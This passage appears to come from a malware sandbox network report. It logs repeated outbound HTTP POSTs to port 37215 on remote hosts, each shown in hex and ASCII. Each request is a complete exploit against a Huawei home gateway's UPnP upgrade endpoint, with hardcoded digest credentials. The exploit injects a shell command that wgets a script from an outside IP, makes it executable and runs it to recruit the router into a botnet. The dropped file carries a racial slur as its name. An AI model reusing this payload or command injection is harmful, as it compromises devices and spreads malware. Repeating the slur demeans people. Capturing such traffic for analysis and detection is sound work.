Feb 19, 2024 18:35:50.289630890 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:56.432729959 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:08.462984085 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:34.315473080 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:23.460726976 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.23	49888	31.136.6.149	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:47.244055033 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:50.289619923 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:56.432709932 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:08.462961912 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
